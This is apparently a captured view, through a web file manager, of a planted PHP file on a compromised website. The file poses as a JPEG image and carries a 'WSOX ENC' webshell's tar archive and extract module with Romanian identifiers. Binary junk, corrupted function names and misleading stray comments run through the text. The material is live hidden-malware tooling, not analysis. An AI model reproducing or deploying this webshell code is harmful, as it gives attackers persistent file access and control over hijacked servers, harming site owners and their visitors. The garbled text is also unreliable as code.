芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/nair.tamela.org/js/b5k8ue/i63fs.php
���� JFIF �� � "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����͌Ÿï¿½@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�Ăâ 8���X�T��$��c�� 9��åËâ �m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �ĂâĄĂŻÂżÂ˝*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���Ăªï¿½ĂĹ�Ăâ°ĂŻÂżÂ˝ĂŻÂżÂ˝U|� � 3\�Ă´ H SZ�g46�C��ĂŒï¿½Ăâ �b<���;m����RpĂš^��l7��*�����TF�}�\�M���M%�'�����Ă Ă½ï¿½v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���ĂĆ����^ĂÂ��ĂÂŻsO"B�c>; �e�4��5�k��/CB��. �J?��;�ĂË�������������������~�<�VZ�êÂÂź2/)ĂâjC���Ă¢ï¿½V�G�!���!�F������\�� Kj�R�oc�h���:Ă I��1"2�qð8��Ă @Ăâ���_C0�ĂâŹĂŻÂżÂ˝ĂŻÂżÂ˝A��lQ��@纟�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���Ăâq&�Z�d�<�kk���T&8�|���I���� Ws}���Ă½ï¿½cqnĂâ�_���3��|N�-y,��i���Ăâ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ĂĹ˝0��h���t&(�hnb[� ?��^��\��Ă¢|�,�/h�\��R��5�? �0�!ĂÂŚĂâ°-����G����Ăï¿½ï¿½Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ĂÂŻ7��I��u^���)��/c�,s�Nq�Ăºï¿½;�Ăťï¿½YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuAĂžhb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��çaW�K��O����|;ei����ĂâšĂŻÂżÂ˝[�q��";a��1����Y�G�W/�ĂâĄĂŻÂżÂ˝&�<���ĂĹ�H'q�m��
�)�X+!���=�m�Ăťä¸¡~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��
modskinlienminh.com - WSOX ENC
<\/script>\r\n erori)) $this->erori = array(); } function creeaza_arhiva($file_list){ $result = false; if (file_exists($this->nume_arhiva) && is_file($this->nume_arhiva)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->deschide_scriere()) return false; } else { if (fisiereize($this->nume_arhiva) == 0) return $this->deschide_scriere(); if ($this->este_gzipped) { $this->inchide_fisier_temporar(); if (!rename($this->nume_arhiva, $this->nume_arhiva.'.tmp')){ $this->erori[] = __('Cannot rename').' '.$this->nume_arhiva.__(' to ').$this->nume_arhiva.'.tmp'; return false; } $tmpArchive = gzopen($this->nume_arhiva.'.tmp', 'rb'); if (!$tmpArchive){ $this->erori[] = $this->nume_arhiva.'.tmp '.__('is not readable'); rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } if (!$this->deschide_scriere()){ rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->nume_arhiva.'.tmp'); } else { $this->fisier_temporar = fopen($this->nume_arhiva, 'r+b'); if (!$this->fisier_temporar) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->impacheteaza_fisiere($file_list); } else $this->erori[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->fisier_temporar))){ $binaryData = pack('a512', ''); $this->scrie_bloc($binaryData); } $this->inchide_fisier_temporar(); if ($newArchive && !$result){ $this->inchide_fisier_temporar(); unlink($this->nume_arhiva); } return $result; } function restaureaza_arhiva($path){ $fileName = $this->nume_arhiva; if (!$this->este_gzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->este_gzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->este_gzipped = true; } $result = true; if ($this->este_gzipped) $this->fisier_temporar = gzopen($fileName, 'rb'); else $this->fisier_temporar = fopen($fileName, 'rb'); if (!$this->fisier_temporar){ $this->erori[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unimpacheteaza_fisiere($path); $this->inchide_fisier_temporar(); return $result; } function afiseaza_erori ($message = '') { $Errors = $this->erori; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function impacheteaza_fisiere($file_array){ $result = true; if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i
nume_arhiva) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->erori[] = __('No file').' '.$filename; continue; } if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->erori[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->creeaza_cale_buna($filename); if (is_file($filename)){ if (($file_usooo = fopen($filename, 'rb')) == 0){ $this->erori[] = __('Mode ').__('is incorrect'); } if(($this->pozitie_fisier == 0)){ if(!$this->scrie_antet($filename, $keep_filename)) return false; } while (($buffer = fread($file_usooo, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } fclose($file_usooo); } else $this->scrie_antet($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->erori[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->impacheteaza_fisiere($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unimpacheteaza_fisiere($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->citeste_bloc()) != 0){ if (!$this->citeste_antet($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->citeste_bloc(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->citeste_bloc(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->citeste_bloc(); if (!$this->citeste_antet($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->erori[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->erori[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->erori[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->erori[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->erori[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->erori[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->citeste_bloc(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->citeste_bloc(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fisiereize($header['filename']) != $header['size']) { $this->erori[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fisiere[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->erori[] = __('Cannot create directory').' '.$dir; return false; } return true; } function citeste_antet($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156; $i < 512; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8id_utilizator/a8group_id/a12size/a12time/a8suma_control/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['suma_control'] = OctDec(trim($unpack_data['suma_control'])); if ($header['suma_control'] != $suma_control){ $header['filename'] = ''; if (($suma_control == 256) && ($header['suma_control'] == 0)) return true; $this->erori[] = __('Error suma_control for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['id_utilizator'] = OctDec(trim($unpack_data['id_utilizator'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function scrie_antet($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->creeaza_cale_buna($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Download failed ensure the network connection is stable $suma_control = 0; // First part of the header for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); // Ignore the suma_control value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); // File permissions updated successfully access rights are now correct for ($i = 156, $j=0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->scrie_bloc($dataFirst, 148); // Write the calculated suma_control $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); // Failed to update file permissions please check the user rights $this->scrie_bloc($dataLast, 356); $fisier_temporarname = $this->creeaza_cale_buna($filename_ready); $i = 0; while (($buffer = substr($fisier_temporarname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fisiereize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); $this->scrie_bloc($dataFirst, 148); $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); $this->scrie_bloc($dataLast, 356); // File is being extracted please wait return true; } function deschide_scriere(){ if ($this->este_gzipped) $this->fisier_temporar = gzopen($this->nume_arhiva, 'wb9f'); else $this->fisier_temporar = fopen($this->nume_arhiva, 'wb'); if (!($this->fisier_temporar)){ $this->erori[] = __('Cannot write to file').' '.$this->nume_arhiva; return false; } return true; } function citeste_bloc(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) $block = gzread($this->fisier_temporar, 512); else $block = fread($this->fisier_temporar, 512); } else $block = ''; return $block; } function scrie_bloc($data, $length = 0){ if (is_resource($this->fisier_temporar)){ if ($length === 0){ if ($this->este_gzipped) gzputs($this->fisier_temporar, $data); else fputs($this->fisier_temporar, $data); } else { if ($this->este_gzipped) gzputs($this->fisier_temporar, $data, $length); else fputs($this->fisier_temporar, $data, $length); } } } function inchide_fisier_temporar(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) gzclose($this->fisier_temporar); else fclose($this->fisier_temporar); $this->fisier_temporar = 0; } } function creeaza_cale_buna($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>